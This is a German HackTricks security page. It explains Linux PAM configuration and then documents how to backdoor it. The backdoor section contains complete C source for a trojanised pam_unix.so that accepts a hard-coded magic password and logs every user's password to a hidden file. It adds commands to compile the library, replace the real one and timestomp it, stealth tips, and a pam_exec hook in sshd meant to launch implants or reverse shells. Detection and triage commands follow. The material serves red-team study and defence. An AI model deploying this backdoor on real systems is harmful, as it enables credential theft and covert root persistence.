PAM - Pluggable Authentication Modules

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

PAM (Pluggable Authentication Modules) fungiert als Sicherheitsmechanismus, der die Identität von Benutzern überprüft, die versuchen, auf Computerdienste zuzugreifen, und deren Zugriff basierend auf verschiedenen Kriterien steuert. Es ist vergleichbar mit einem digitalen Türsteher, der sicherstellt, dass nur autorisierte Benutzer bestimmte Dienste nutzen können und deren Nutzung gegebenenfalls begrenzt, um Systemüberlastungen zu verhindern.

Konfigurationsdateien

  • Solaris- und UNIX-basierte Systeme verwenden typischerweise eine zentrale Konfigurationsdatei unter /etc/pam.conf.
  • Linux-Systeme bevorzugen einen Verzeichnisansatz und speichern dienstspezifische Konfigurationen in /etc/pam.d. Beispielsweise befindet sich die Konfigurationsdatei für den login-Dienst unter /etc/pam.d/login.

Ein Beispiel für eine PAM-Konfiguration des login-Dienstes könnte wie folgt aussehen:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM-Managementbereiche

Diese Bereiche, bzw. Managementgruppen, umfassen auth, account, password und session, wobei jeder für unterschiedliche Aspekte des Authentifizierungs- und Sitzungsmanagements verantwortlich ist:

  • Auth: Validiert die Identität des Benutzers, oft durch Aufforderung zur Eingabe eines Passworts.
  • Account: Überprüft Kontoanforderungen, z. B. Gruppenzugehörigkeit oder zeitliche Beschränkungen.
  • Password: Verwal­tet Passwortaktualisierungen, einschließlich Komplexitätsprüfungen oder der Verhinderung von Wörterbuchangriffen.
  • Session: Verwaltet Aktionen beim Start oder Ende einer Service-Sitzung, wie das Einhängen von Verzeichnissen oder das Setzen von Ressourcenlimits.

PAM-Modulkontrollen

Kontrollen legen fest, wie das Modul auf Erfolg oder Misserfolg reagiert und beeinflussen den gesamten Authentifizierungsprozess. Dazu gehören:

  • Required: Ein Fehler in einem required-Modul führt letztlich zum Fehlschlag, allerdings erst nachdem alle nachfolgenden Module geprüft wurden.
  • Requisite: Sofortige Beendigung des Prozesses bei Fehlschlag.
  • Sufficient: Erfolg umgeht die restlichen Prüfungen desselben Bereichs, sofern nicht ein nachfolgendes Modul fehlschlägt.
  • Optional: Verursacht nur dann einen Fehlschlag, wenn es das einzige Modul im Stack ist.

Beispielszenario

In einer Konfiguration mit mehreren auth-Modulen folgt der Ablauf einer strikten Reihenfolge. Wenn das pam_securetty-Modul das Anmelde-Terminal als nicht autorisiert erkennt, werden root-Anmeldungen blockiert; aufgrund des “required”-Status werden jedoch trotzdem alle Module weiter durchlaufen. pam_env setzt Umgebungsvariablen, was die Benutzererfahrung verbessern kann. Die Module pam_ldap und pam_unix arbeiten zusammen, um den Benutzer zu authentifizieren; pam_unix versucht dabei, ein zuvor eingegebenes Passwort zu verwenden, was Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.

Backdooring PAM – Hooking pam_unix.so

Ein klassischer Persistence-Trick in hochsensiblen Linux-Umgebungen ist es, die legitime PAM-Bibliothek durch ein trojanised drop-in auszutauschen. Da bei jeder SSH-/Konsole-Anmeldung pam_unix.so:pam_sm_authenticate() aufgerufen wird, reichen ein paar Zeilen C aus, um Anmeldeinformationen abzufangen oder einen magischen Passwort-Bypass zu implementieren.

Kompilations-Kurzanleitung

Beispiel `pam_unix.so` trojan ```c #define _GNU_SOURCE #include #include #include #include #include

static int (*orig)(pam_handle_t *, int, int, const char **); static const char *MAGIC = “Sup3rS3cret!”;

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *user, *pass; pam_get_user(pamh, &user, NULL); pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */ if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */ int fd = open(“/usr/bin/.dbus.log”, O_WRONLY|O_APPEND|O_CREAT, 0600); dprintf(fd, “%s:%s\n”, user, pass); close(fd);

/* Fall back to original function */ if(!orig) { orig = dlsym(RTLD_NEXT, “pam_sm_authenticate”); } return orig(pamh, flags, argc, argv); }

</details>

Kompilieren und stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. Atomic overwrite – schreibe in eine temporäre Datei und mv an den Zielort, um halbgeschriebene Bibliotheken zu vermeiden, die SSH aussperren würden.
  2. Platzierung von Log-Dateien wie /usr/bin/.dbus.log fügt sich in legitime Desktop-Artefakte ein.
  3. Behalte die Symbol-Exporte unverändert (pam_sm_setcred, etc.), um PAM-Fehlverhalten zu vermeiden.

Erkennung

  • Vergleiche MD5/SHA256 von pam_unix.so mit dem Distro-Paket.
  • rpm -V pam oder debsums -s libpam-modules, um ersetzte Bibliotheken ohne manuelles Hashing zu erkennen.
  • Prüfe auf world-writable Dateien oder ungewöhnliche Eigentumsrechte unter /lib/security/.
  • auditd Regel: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.
  • Durchsuche PAM-Konfigurationen nach unerwarteten Modulen: grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix.

Schnelle Triage-Befehle (post-compromise oder threat hunting)

# 1) Spot alien PAM objects
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'

# 2) Verify package integrity
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules

# 3) Identify non-packaged PAM modules
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
done

# 4) Look for stealth config edits
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'

Missbrauch von pam_exec für Persistenz

Anstatt pam_unix.so zu ersetzen, ist es schonender, eine pam_exec-Zeile in /etc/pam.d/sshd anzuhängen, sodass bei jeder SSH-Anmeldung ein implant gestartet wird, während der normale Stack intakt bleibt:

# Prepend to /etc/pam.d/sshd
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh

pam_exec läuft als root innerhalb des sshd PAM-Kontexts, sodass das Skript reverse shells absetzen, env vars sammeln oder implantierte sockets wieder öffnen kann, ohne filesystem-Änderungen an core libraries vorzunehmen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks